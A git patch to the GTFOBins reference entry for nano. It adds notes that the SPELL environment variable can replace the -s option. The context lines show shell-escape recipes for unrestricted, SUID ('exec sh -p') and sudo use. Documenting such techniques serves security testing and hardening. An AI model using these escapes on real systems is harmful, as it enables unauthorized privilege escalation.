From f6b29ce958d70a52783a07e2ffb4082d5556fa02 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Mon, 21 Jan 2019 14:07:14 +0100 Subject: [PATCH] Mention the SPELL environment variable in nano --- _gtfobins/nano.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/_gtfobins/nano.md b/_gtfobins/nano.md index 143ea56..a827df6 100644 --- a/_gtfobins/nano.md +++ b/_gtfobins/nano.md @@ -1,7 +1,8 @@ --- functions: shell: - - code: | + - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. + code: | TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF @@ -15,14 +16,16 @@ functions: file-read: - code: nano file_to_read suid: - - code: | + - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. + code: | TF=$(mktemp) echo 'exec sh -p' > $TF chmod +x $TF ./nano -s $TF /etc/hosts ^T sudo: - - code: | + - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. + code: | TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF